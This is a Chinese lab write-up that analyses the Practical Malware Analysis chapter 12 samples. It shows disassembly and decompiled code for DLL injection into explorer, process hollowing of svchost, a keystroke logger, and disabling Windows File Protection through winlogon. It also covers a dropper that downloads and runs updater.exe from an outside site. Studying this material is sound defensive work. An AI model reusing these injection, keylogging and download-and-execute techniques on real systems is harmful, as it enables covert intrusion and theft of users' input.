恶意代码分析实战 Lab12

Lab12-01

简要分析

Lab12-01.exe首先导入了psapi.dll中的一些函数的地址EnumProcessModulesGetModuleBaseNameA以及EnumProcesses

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.text:00401115 C7 85 E8 FE FF FF 00 00+                mov     [ebp+var_118], 0
.text:0040111F 68 B0 60 40 00 push offset ProcName ; "EnumProcessModules"
.text:00401124 68 A4 60 40 00 push offset LibFileName ; "psapi.dll"
.text:00401129 FF 15 24 50 40 00 call ds:LoadLibraryA
.text:0040112F 50 push eax ; hModule
.text:00401130 FF 15 20 50 40 00 call ds:GetProcAddress
.text:00401136 A3 14 87 40 00 mov dword_408714, eax
.text:0040113B 68 90 60 40 00 push offset aGetmodulebasen ; "GetModuleBaseNameA"
.text:00401140 68 A4 60 40 00 push offset LibFileName ; "psapi.dll"
.text:00401145 FF 15 24 50 40 00 call ds:LoadLibraryA
.text:0040114B 50 push eax ; hModule
.text:0040114C FF 15 20 50 40 00 call ds:GetProcAddress
.text:00401152 A3 0C 87 40 00 mov dword_40870C, eax
.text:00401157 68 80 60 40 00 push offset aEnumprocesses ; "EnumProcesses"
.text:0040115C 68 A4 60 40 00 push offset LibFileName ; "psapi.dll"
.text:00401161 FF 15 24 50 40 00 call ds:LoadLibraryA
.text:00401167 50 push eax ; hModule
.text:00401168 FF 15 20 50 40 00 call ds:GetProcAddress

然后获取Lab12-01.dll的位置:

1
2
3
4
5
6
7
8
9
10
11
.text:00401179 51                                      push    ecx             ; lpBuffer
.text:0040117A 68 04 01 00 00 push 104h ; nBufferLength
.text:0040117F FF 15 1C 50 40 00 call ds:GetCurrentDirectoryA
.text:00401185 68 7C 60 40 00 push offset String2 ; "\\"
.text:0040118A 8D 95 FC FE FF FF lea edx, [ebp+Lab12_dll_addr]
.text:00401190 52 push edx ; lpString1
.text:00401191 FF 15 18 50 40 00 call ds:lstrcatA
.text:00401197 68 6C 60 40 00 push offset aLab1201Dll ; "Lab12-01.dll"
.text:0040119C 8D 85 FC FE FF FF lea eax, [ebp+Lab12_dll_addr]
.text:004011A2 50 push eax ; lpString1
.text:004011A3 FF 15 18 50 40 00 call ds:lstrcatA

获取当前的进程列表:

1
2
3
4
5
.text:004011AF 51                                      push    ecx             ; _DWORD
.text:004011B0 68 00 10 00 00 push 1000h ; _DWORD
.text:004011B5 8D 95 E4 EE FF FF lea edx, [ebp+Process_Id_Enum]
.text:004011BB 52 push edx ; _DWORD
.text:004011BC FF 15 10 87 40 00 call Enumprocesses_408710

然后搜索当前的进程列表,判断是否存在explorer进程:

1
2
3
4
.text:00401226 8B 8D D4 EE FF FF                       mov     ecx, [ebp+var_112C]
.text:0040122C 8B 94 8D E4 EE FF FF mov edx, [ebp+ecx*4+Process_Id_Enum]
.text:00401233 52 push edx ; dwProcessId
.text:00401234 E8 C7 FD FF FF call check_explorer_401000

存在该进程则获取进程句柄:

1
2
3
4
.text:00401258 51                                      push    ecx             ; dwProcessId
.text:00401259 6A 00 push 0 ; bInheritHandle
.text:0040125B 68 3A 04 00 00 push 43Ah ; dwDesiredAccess
.text:00401260 FF 15 04 50 40 00 call ds:OpenProcess

在explorer进程中开辟一段空间,将Lab12-01.dll的内容写入:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
.text:0040128C 6A 04                                   push    4               ; flProtect
.text:0040128E 68 00 30 00 00 push 3000h ; flAllocationType
.text:00401293 68 04 01 00 00 push 104h ; dwSize
.text:00401298 6A 00 push 0 ; lpAddress
.text:0040129A 8B 95 E4 FE FF FF mov edx, [ebp+explorer_handle]
.text:004012A0 52 push edx ; hProcess
.text:004012A1 FF 15 14 50 40 00 call ds:VirtualAllocEx
.............
.text:004012BE 6A 00 push 0 ; lpNumberOfBytesWritten
.text:004012C0 68 04 01 00 00 push 104h ; nSize
.text:004012C5 8D 85 FC FE FF FF lea eax, [ebp+Lab12_dll_addr]
.text:004012CB 50 push eax ; lpBuffer
.text:004012CC 8B 8D D8 EE FF FF mov ecx, [ebp+address_in_explorer]
.text:004012D2 51 push ecx ; lpBaseAddress
.text:004012D3 8B 95 E4 FE FF FF mov edx, [ebp+explorer_handle]
.text:004012D9 52 push edx ; hProcess
.text:004012DA FF 15 10 50 40 00 call ds:WriteProcessMemory
.text:004012E0 68 5C 60 40 00 push offset ModuleName ; "kernel32.dll"
.text:004012E5 FF 15 0C 50 40 00 call ds:GetModuleHandleA

获取kernel32.dll中LoadLibraryA函数地址:

1
2
3
4
5
6
7
.text:004012E0 68 5C 60 40 00                          push    offset kernel32dll ; "kernel32.dll"
.text:004012E5 FF 15 0C 50 40 00 call ds:GetModuleHandleA
.text:004012EB 89 85 DC EE FF FF mov [ebp+kernel32dll_module], eax
.text:004012F1 68 4C 60 40 00 push offset aLoadlibrarya ; "LoadLibraryA"
.text:004012F6 8B 85 DC EE FF FF mov eax, [ebp+kernel32dll_module]
.text:004012FC 50 push eax ; hModule
.text:004012FD FF 15 20 50 40 00 call ds:GetProcAddress

通过CreateRemoteThread开启一个在进程explorer中,起始地址为当前系统中LoadLibraryA函数地址,传递参数为Lab12-01.dll的线程,以达成将Lab12-01.dll注入到explorer中的目的:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401303 89 85 CC EE FF FF                       mov     [ebp+loadlibrary_addr], eax
.text:00401309 6A 00 push 0 ; lpThreadId
.text:0040130B 6A 00 push 0 ; dwCreationFlags
.text:0040130D 8B 8D D8 EE FF FF mov ecx, [ebp+address_in_explorer]
.text:00401313 51 push ecx ; lpParameter
.text:00401314 8B 95 CC EE FF FF mov edx, [ebp+loadlibrary_addr]
.text:0040131A 52 push edx ; lpStartAddress
.text:0040131B 6A 00 push 0 ; dwStackSize
.text:0040131D 6A 00 push 0 ; lpThreadAttributes
.text:0040131F 8B 85 E4 FE FF FF mov eax, [ebp+explorer_handle]
.text:00401325 50 push eax ; hProcess
.text:00401326 FF 15 08 50 40 00 call ds:CreateRemoteThread

Lab12-01.dll是弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”,每隔一分钟弹出一次的弹窗的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
BOOL __stdcall DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
DWORD ThreadId; // [esp+4h] [ebp-4h]

if ( fdwReason == 1 )
CreateThread(0, 0, sub_10001030, 0, 0, &ThreadId);
return 1;
}
void __stdcall sub_10001030(LPVOID lpThreadParameter)
{
int i; // [esp+0h] [ebp-18h]
char Parameter; // [esp+4h] [ebp-14h]

for ( i = 0; ; ++i )
{
sprintf(&Parameter, aPracticalMalwa, i);
CreateThread(0, 0, msg_box, &Parameter, 0, 0);
Sleep(0xEA60u);
}
}
DWORD __stdcall msg_box(LPVOID lpThreadParameter)
{
MessageBoxA(0, Text, lpThreadParameter, 0x40040u);
return 3;
}

Q1:在你运行恶意代码可执行文件时, 会发生什么?

会每隔一分钟弹出一个窗口。

Q2:哪个进程会被注入?

进程”explorer”被注入。

Q3:你如何能够让恶意代码停止弹出窗口?

重启explorer进程。

Q4:这个恶意代码样本是如何工作的?

Lab12-01.exe通过将Lab12-01.dll注入到explorer进程中,在explorer进程中启动Lab12-01.dll。Lab12-01.dll每隔一分钟弹出一个按钮为”Press OK to reboot”,名称为”Practical Malware Analysis 循环次数”的弹窗。

Lab12-02

简要分析

首先判断程序有无参数:

1
2
3
4
5
.text:004014E0                 push    ebp
.text:004014E1 mov ebp, esp
.text:004014E3 sub esp, 408h
.text:004014E9 cmp [ebp+argc], 2
.text:004014ED jnb loc_401573

获得模块句柄:

1
2
.text:004014FA                 push    0               ; lpModuleName
.text:004014FC call ds:GetModuleHandle

获得系统svchost完整路径:

1
2
3
4
5
.text:00401508                 push    400h            ; uSize
.text:0040150D lea eax, [ebp+ApplicationName]
.text:00401513 push eax ; lpBuffer
.text:00401514 push offset aSvchostExe ; "\\svchost.exe"
.text:00401519 call svchost_whole_addr_40149D

从LOCALIZATION中解压一个资源,该资源被简单的加密了:

1
2
.text:00401527                 push    ecx             ; hModule
.text:00401528 call get_source_40132C

解密函数:

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl sub_401000(int a1, unsigned int a2, char a3)
{
int result; // eax
unsigned int i; // [esp+0h] [ebp-4h]

for ( i = 0; i < a2; ++i )
{
*(i + a1) ^= a3;
result = i + 1;
}
return result;
}

然后执行替换进程的操作:

1
2
3
4
.text:0040153C                 push    edx             ; lpBuffer
.text:0040153D lea eax, [ebp+ApplicationName]
.text:00401543 push eax ; lpApplicationName
.text:00401544 call replace_4010EA

replace_4010EA首先创建一个挂起的进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00401148                 push    edx             ; lpProcessInformation
.text:00401149 lea eax, [ebp+StartupInfo]
.text:0040114C push eax ; lpStartupInfo
.text:0040114D push 0 ; lpCurrentDirectory
.text:0040114F push 0 ; lpEnvironment
.text:00401151 push 4 ; dwCreationFlags
.text:00401153 push 0 ; bInheritHandles
.text:00401155 push 0 ; lpThreadAttributes
.text:00401157 push 0 ; lpProcessAttributes
.text:00401159 push 0 ; lpCommandLine
.text:0040115B mov ecx, [ebp+lpApplicationName]
.text:0040115E push ecx ; lpApplicationName
.text:0040115F call ds:CreateProcessA

对进程进行一些初始化:

1
2
3
4
lpContext = VirtualAlloc(0, 0x2CCu, 0x1000u, 4u);
lpContext->ContextFlags = 65543;
if ( !GetThreadContext(ProcessInformation.hThread, lpContext) )
return 0;

获取创建的进程的被加载的文件的起始地址:

1
2
3
4
5
6
7
8
9
10
11
.text:004011B8                 push    0               ; lpNumberOfBytesRead
.text:004011BA push 4 ; nSize
.text:004011BC lea edx, [ebp+Buffer]
.text:004011BF push edx ; lpBuffer
.text:004011C0 mov eax, [ebp+lpContext]
.text:004011C3 mov ecx, [eax+0A4h]
.text:004011C9 add ecx, 8
.text:004011CC push ecx ; lpBaseAddress
.text:004011CD mov edx, [ebp+ProcessInformation.hProcess]
.text:004011D0 push edx ; hProcess
.text:004011D1 call ds:ReadProcessMemory

获取ntdll.dll中的NtUnmapViewOfSection函数地址:

1
2
3
4
5
.text:004011D7                 push    offset ProcName ; "NtUnmapViewOfSection"
.text:004011DC push offset ModuleName ; "ntdll.dll"
.text:004011E1 call ds:GetModuleHandleA
.text:004011E7 push eax ; hModule
.text:004011E8 call ds:GetProcAddress

然后为上述的进程分配一段空间:

1
2
3
4
5
6
7
8
lpBaseAddress = VirtualAllocEx(
ProcessInformation.hProcess,
v8->OptionalHeader.ImageBase,
v8->OptionalHeader.SizeOfImage,
0x3000u,
0x40u);
if ( !lpBaseAddress )
return 0;

将一个文件的内容写到进程中:

1
2
3
4
5
6
7
8
9
10
11
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpAddress, v8->OptionalHeader.SizeOfHeaders, 0);
for ( i = 0; i < v8->FileHeader.NumberOfSections; ++i )
{
v4 = (lpAddress + 40 * i + v13->e_lfanew + 248);
WriteProcessMemory(
ProcessInformation.hProcess,
lpBaseAddress + v4->VirtualAddress,
lpAddress + v4->PointerToRawData,
v4->SizeOfRawData,
0);
}

最后是进程的替换工作:

1
2
SetThreadContext(ProcessInformation.hThread, lpContext);
ResumeThread(ProcessInformation.hThread);

所以主函数中:

1
replace_4010EA(&svchost_addr, lpAddress);

目的是为了将系统的svchost进程替换为从LOCALIZATION节中解压的一个资源。

Q1:这个程序的目的是什么?

通过进程替换的方法,从资源节LOCALIZATION中启动一个程序。

Q2:启动器恶意代码是如何隐蔽执行的?

使用了进程替换的技术。

Q3:恶意代码的负载存储在哪里?

存储在自身PE文件的LOCALIZATION节中。

Q4:恶意负载是如何被保护的?

通过简单的亦或操作进行加密存储到资源节中。

1
2
3
4
5
for ( i = 0; i < a2; ++i )
{
*(i + a1) ^= a3;
result = i + 1;
}

Q5:字符串列表是如何被保护的?

使用了亦或操作。

Lab12-03

简要分析

Lab12-03.exe首先调用AllocConsole为调用进程分配一个新的控制台:

1
2
.text:00401006                 mov     [ebp+hhk], 0
.text:0040100D call ds:AllocConsole

调出控制台窗口:

1
2
3
4
5
6
7
8
9
.text:00401015                 push    offset ClassName ; "ConsoleWindowClass"
.text:0040101A call ds:FindWindowA
.text:00401020 mov [ebp+ConsoleWindowClass_handle], eax
.text:00401023 cmp [ebp+ConsoleWindowClass_handle], 0
.text:00401027 jz short loc_401035
.text:00401029 push 0 ; nCmdShow
.text:0040102B mov eax, [ebp+ConsoleWindowClass_handle]
.text:0040102E push eax ; hWnd
.text:0040102F call ds:ShowWindow

然后通过SetWindowsHookExA函数使用fn函数进行挂钩:

1
2
3
4
.text:00401053                 push    eax             ; hmod
.text:00401054 push offset fn ; lpfn
.text:00401059 push 0Dh ; idHook
.text:0040105B call ds:SetWindowsHookExA

hook函数体如下:

1
2
3
4
5
6
LRESULT __stdcall fn(int code, WPARAM wParam, KBDLLHOOKSTRUCT *lParam)
{
if ( !code && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN) )
record_input_4010C7(lParam->vkCode);
return CallNextHookEx(0, code, wParam, lParam);
}

当出现系统按键消息以及普通按键消息就使用record_input_4010C7函数将消息进行处理。

record_input_4010C7是一个击键记录器,首先打开”practicalmalwareanalysis.log”:

1
2
.text:004010E6                 push    offset FileName ; "practicalmalwareanalysis.log"
.text:004010EB call ds:CreateFileA

根据刚才hook的消息队列中的vkCode即输入内容进行记录,写入到”practicalmalwareanalysis.log”文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
if ( Buffer < 0x27 || Buffer > 0x40 )
{
if ( Buffer <= 0x40 || Buffer >= 0x5B )
{
switch ( Buffer )
{
case 8:
v4 = strlen(aBackspace);
WriteFile(hFile, aBackspace_0, v4, &NumberOfBytesWritten, 0);
break;
case 9:
WriteFile(hFile, aTab, 5u, &NumberOfBytesWritten, 0);
break;
case 13:
WriteFile(hFile, aEnter, 8u, &NumberOfBytesWritten, 0);
break;
case 16:
WriteFile(hFile, aShift, 7u, &NumberOfBytesWritten, 0);
break;
case 17:
WriteFile(hFile, aCtrl, 6u, &NumberOfBytesWritten, 0);
break;
case 20:
v5 = strlen(aCapsLock);
WriteFile(hFile, aCapsLock_0, v5, &NumberOfBytesWritten, 0);
break;
case 32:
WriteFile(hFile, asc_405074, 1u, &NumberOfBytesWritten, 0);
break;
case 46:
WriteFile(hFile, aDel, 5u, &NumberOfBytesWritten, 0);
break;
case 96:
WriteFile(hFile, a0, 1u, &NumberOfBytesWritten, 0);
break;
case 97:
WriteFile(hFile, a1, 1u, &NumberOfBytesWritten, 0);
break;
case 98:
WriteFile(hFile, a2, 1u, &NumberOfBytesWritten, 0);
break;
case 99:
WriteFile(hFile, a3, 1u, &NumberOfBytesWritten, 0);
break;
case 100:
WriteFile(hFile, a4, 1u, &NumberOfBytesWritten, 0);
break;
case 101:
WriteFile(hFile, a5, 1u, &NumberOfBytesWritten, 0);
break;
case 102:
WriteFile(hFile, a6, 1u, &NumberOfBytesWritten, 0);
break;
case 103:
WriteFile(hFile, a7, 1u, &NumberOfBytesWritten, 0);
break;
case 104:
WriteFile(hFile, a8, 1u, &NumberOfBytesWritten, 0);
break;
case 105:
WriteFile(hFile, a9, 1u, &NumberOfBytesWritten, 0);
break;
default:
break;
}
}
else
{
Buffer += 32;
WriteFile(hFile, &Buffer, 1u, &NumberOfBytesWritten, 0);
}
}
else
{
WriteFile(hFile, &Buffer, 1u, &NumberOfBytesWritten, 0);
}

挂钩函数完成后,使用GetMessageA获取消息到程序进程中:

1
2
3
4
5
6
7
8
9
.text:00401064 loc_401064:                             ; CODE XREF: _main+76↓j
.text:00401064 push 0 ; wMsgFilterMax
.text:00401066 push 0 ; wMsgFilterMin
.text:00401068 push 0 ; hWnd
.text:0040106A push 0 ; lpMsg
.text:0040106C call ds:GetMessageA
.text:00401072 test eax, eax
.text:00401074 jz short loc_401078
.text:00401076 jmp short loc_401064

最后调用UnhookWindowsHookEx结束挂钩:

1
2
3
4
.text:00401078 loc_401078:                             ; CODE XREF: _main+74↑j
.text:00401078 mov ecx, [ebp+hhk]
.text:0040107B push ecx ; hhk
.text:0040107C call ds:UnhookWindowsHookEx

Q1:这个恶意负载的目的是什么?

是一个击键记录器,将键盘的输入信息记录到同目录下的”practicalmalwareanalysis.log”文件中。

Q2:恶意负载是如何注入自身的?

使用了挂钩注入,hook了按键消息。

Q3:这个程序还创建了哪些其他文件?

在同目录下创建了”practicalmalwareanalysis.log”文件。

Lab12-04

简要分析

Lab12-04的main函数首先通过GetProcAddress方法获取几个函数地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
.text:004013AA                 push    offset ProcName ; "EnumProcessModules"
.text:004013AF push offset aPsapiDll ; "psapi.dll"
.text:004013B4 call ds:LoadLibraryA
.text:004013BA push eax ; hModule
.text:004013BB call ds:GetProcAddress
.text:004013C1 mov EnumProcessModules_40312C, eax
.text:004013C6 push offset aGetmodulebasen ; "GetModuleBaseNameA"
.text:004013CB push offset aPsapiDll_0 ; "psapi.dll"
.text:004013D0 call ds:LoadLibraryA
.text:004013D6 push eax ; hModule
.text:004013D7 call ds:GetProcAddress
.text:004013DD mov GetModuleBaseNameA_403128, eax
.text:004013E2 push offset aEnumprocesses ; "EnumProcesses"
.text:004013E7 push offset aPsapiDll_1 ; "psapi.dll"
.text:004013EC call ds:LoadLibraryA
.text:004013F2 push eax ; hModule
.text:004013F3 call ds:GetProcAddress

EnumProcessModules_40312CGetModuleBaseNameA_403128以及EnumProcesses_403124分别用于枚举进程模块,模块名称以及枚举进程列表。

然后针对当前的进程列表使用sub_401000函数进程处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if ( !EnumProcesses_403124(process_enum, 4096, &v14) )
return 1;
process_enum_length = v14 >> 2;
for ( i = 0; i < process_enum_length + 1; ++i )
{
if ( process_enum[i] )
{
v19 = sub_401000(process_enum[i]);
if ( v19 )
{
v11 = process_enum[i];
break;
}
}
}

sub_401000函数用于找到有”winlogon.exe”模块的进程。

sub_401000函数首先初始化两个字符串:

1
2
strcpy(Str2, "winlogon.exe");
strcpy(Str1, "<not real>");

打开当前进程,枚举当前进程的模块列表,并获取模块名称:

1
2
3
process_handle = OpenProcess(0x410u, 0, process_id);
if ( process_handle && EnumProcessModules_40312C(process_handle, &v3, 4, &v2) )
GetModuleBaseNameA_403128(process_handle, v3, Str1, 0x104u);

找到包含”winlogon.exe”的进程函数返回1否则返回0:

1
2
3
4
5
6
7
8
9
10
11
if ( !stricmp(Str1, Str2) )
{
CloseHandle(process_handle);
result = 1;
}
else
{
CloseHandle(process_handle);
result = 0;
}
return result;

然后调用CreateRemoteThread_401174

1
2
3
.text:004014E4                 mov     ecx, [ebp+winlogon_id]
.text:004014EA push ecx ; dwProcessId
.text:004014EB call CreateRemoteThread_401174

CreateRemoteThread_401174内部函数主体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int __cdecl sub_401174(DWORD dwProcessId)
{
HMODULE dll; // eax
HANDLE hProcess; // [esp+4h] [ebp-8h]

if ( elevation_authority(aSedebugprivile) )
return 0;
dll = LoadLibraryA(LibFileName); // sfc_os.dll
lpStartAddress = GetProcAddress(dll, 2);
hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, dwProcessId);
if ( !hProcess )
return 0;
CreateRemoteThread(hProcess, 0, 0, lpStartAddress, 0, 0, 0);
return 1;
}

首先进行提权函数elevation_authority(aSedebugprivile),然后向winlogon.exe中注入sfc_os.dll中序号为2的函数。

此序号为2的函数是一个导出函数,可以禁用windows的文件保护机制。

进程注入完成后,拼接出字符串”wupdmgr.exe”的系统地址:

1
2
3
4
5
6
7
8
9
10
11
12
.text:00401506                 push    10Eh            ; uSize
.text:0040150B lea edx, [ebp+Buffer]
.text:00401511 push edx ; lpBuffer
.text:00401512 call ds:GetWindowsDirectoryA
.text:00401518 push offset aSystem32Wupdmg_0 ; "\\system32\\wupdmgr.exe"
.text:0040151D lea eax, [ebp+Buffer]
.text:00401523 push eax
.text:00401524 push offset aSS_0 ; "%s%s"
.text:00401529 push 10Eh ; Count
.text:0040152E lea ecx, [ebp+Dest]
.text:00401534 push ecx ; Dest
.text:00401535 call ds:_snprint

拼接出”winup.exe”的临时地址:

1
2
3
4
5
6
7
8
9
10
11
.text:00401544                 push    edx             ; lpBuffer
.text:00401545 push 10Eh ; nBufferLength
.text:0040154A call ds:GetTempPathA
.text:00401550 push offset aWinupExe ; "\\winup.exe"
.text:00401555 lea eax, [ebp+var_110]
.text:0040155B push eax
.text:0040155C push offset aSS_1 ; "%s%s"
.text:00401561 push 10Eh ; Count
.text:00401566 lea ecx, [ebp+NewFileName]
.text:0040156C push ecx ; Dest
.text:0040156D call ds:_snprintf

将wupdmgr.exe复制到临时地址并命名为”winup.exe”,并在main最后call sub_4011FC()

1
2
3
4
5
6
7
.text:00401573                 add     esp, 14h
.text:00401576 lea edx, [ebp+NewFileName]
.text:0040157C push edx ; lpNewFileName
.text:0040157D lea eax, [ebp+Dest]
.text:00401583 push eax ; lpExistingFileName
.text:00401584 call ds:MoveFileA
.text:0040158A call sub_4011FC

sub_4011FC函数用于注入system32\wupdmgr.exe文件。

首先从Bin #101中提取资源:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
.text:004012A7                 mov     [ebp+hModule], eax
.text:004012AA push offset Type ; "BIN"
.text:004012AF push offset Name ; "#101"
.text:004012B4 mov eax, [ebp+hModule]
.text:004012B7 push eax ; hModule
.text:004012B8 call ds:FindResourceA
.text:004012BE mov [ebp+hResInfo], eax
.text:004012C4 mov ecx, [ebp+hResInfo]
.text:004012CA push ecx ; hResInfo
.text:004012CB mov edx, [ebp+hModule]
.text:004012CE push edx ; hModule
.text:004012CF call ds:LoadResource
.text:004012D5 mov [ebp+lpBuffer], eax
.text:004012D8 mov eax, [ebp+hResInfo]
.text:004012DE push eax ; hResInfo
.text:004012DF mov ecx, [ebp+hModule]
.text:004012E2 push ecx ; hModule
.text:004012E3 call ds:SizeofResource
.text:004012E9 mov [ebp+nNumberOfBytesToWrite], eax
.text:004012EF push 0 ; hTemplateFile
.text:004012F1 push 0 ; dwFlagsAndAttributes
.text:004012F3 push 2 ; dwCreationDisposition
.text:004012F5 push 0 ; lpSecurityAttributes
.text:004012F7 push 1 ; dwShareMode
.text:004012F9 push 40000000h ; dwDesiredAccess
.text:004012FE lea edx, [ebp+System32Wupdmg_addr]
.text:00401304 push edx ; lpFileName
.text:00401305 call ds:CreateFileA

将提取的资源写入system32\wupdmgr.exe:

1
2
3
4
5
6
7
8
9
10
11
.text:0040130B                 mov     [ebp+hFile], eax
.text:00401311 push 0 ; lpOverlapped
.text:00401313 lea eax, [ebp+NumberOfBytesWritten]
.text:00401316 push eax ; lpNumberOfBytesWritten
.text:00401317 mov ecx, [ebp+nNumberOfBytesToWrite]
.text:0040131D push ecx ; nNumberOfBytesToWrite
.text:0040131E mov edx, [ebp+lpBuffer]
.text:00401321 push edx ; lpBuffer
.text:00401322 mov eax, [ebp+hFile]
.text:00401328 push eax ; hFile
.text:00401329 call ds:WriteFile

这里由于进行了文件保护权限的禁用,所以修改系统文件能成功。

后台启动wupdmgr.exe:

1
2
3
4
.text:0040133C                 push    0               ; uCmdShow
.text:0040133E lea edx, [ebp+System32Wupdmg_addr]
.text:00401344 push edx ; lpCmdLine
.text:00401345 call ds:WinExec

首先获得winup.exe的具体路径:

1
2
GetTempPathA(0x10Eu, &tmp_addr);
snprintf(&Dest, 0x10Eu, Format, &tmp_addr, aWinupExe);

运行该程序:

1
2
3
4
.text:004010A8                 push    5               ; uCmdShow
.text:004010AA lea eax, [ebp+Dest]
.text:004010B0 push eax ; lpCmdLine
.text:004010B1 call ds:WinExec

获得wupdmgrd.exe的具体地址:

1
2
3
4
5
6
7
8
9
10
11
12
.text:004010B7                 push    10Eh            ; uSize
.text:004010BC lea ecx, [ebp+var_330]
.text:004010C2 push ecx ; lpBuffer
.text:004010C3 call ds:GetWindowsDirectoryA
.text:004010C9 push offset aSystem32Wupdmg ; "\\system32\\wupdmgrd.exe"
.text:004010CE lea edx, [ebp+var_330]
.text:004010D4 push edx
.text:004010D5 push offset aSS_0 ; "%s%s"
.text:004010DA push 10Eh ; Count
.text:004010DF lea eax, [ebp+CmdLine]
.text:004010E5 push eax ; Dest
.text:004010E6 call ds:_snprintf

下载”http://www.practicalmalwareanalysis.com/updater.exe"并存放到wupdmgrd.exe中:

1
2
3
4
5
6
7
.text:004010EF                 push    0               ; LPBINDSTATUSCALLBACK
.text:004010F1 push 0 ; DWORD
.text:004010F3 lea ecx, [ebp+CmdLine]
.text:004010F9 push ecx ; LPCSTR
.text:004010FA push offset aHttpWwwPractic ; "http://www.practicalmalwareanalysis.com"...
.text:004010FF push 0 ; LPUNKNOWN
.text:00401101 call URLDownloadToFileA

启动wupdmgrd.exe:

1
2
3
4
.text:00401115                 push    0               ; uCmdShow
.text:00401117 lea edx, [ebp+CmdLine]
.text:0040111D push edx ; lpCmdLine
.text:0040111E call ds:WinExec

Q1:位置0x401000的代码完成了什么功能?

sub_401000函数用于找到有”winlogon.exe”模块的进程。

Q2:代码注入了哪个进程?

注入了winlogon.exe进程。

Q3:使用LoadlibraryA装载了哪个DLL程序?

装载了sfc_os.dll,用于禁用文件保护。

Q4:传递给CreateRemoteThread调用的第4个参数是什么?

1
2
lpStartAddress = GetProcAddress(dll, 2);
CreateRemoteThread(winlogon_handle, 0, 0, lpStartAddress, 0, 0, 0);

参数为sfc_os.dll中序号为2的函数,该函数为SfcTerminateWatcherThread,用于禁用windows的文件保护机制。

Q5:二进制主程序释放出了哪个恶意代码?

释放了资源节中的BIN101到system32\wupdmgr.exe中。

Q6:释放出恶意代码的目的是什么?

首先注入winlogon进程,禁用文件保护机制,然后释放恶意代码BIN101到system32\wupdmgr.exe中,并且调用该程序,来远程下载”http://www.practicalmalwareanalysis.com/updater.exe"。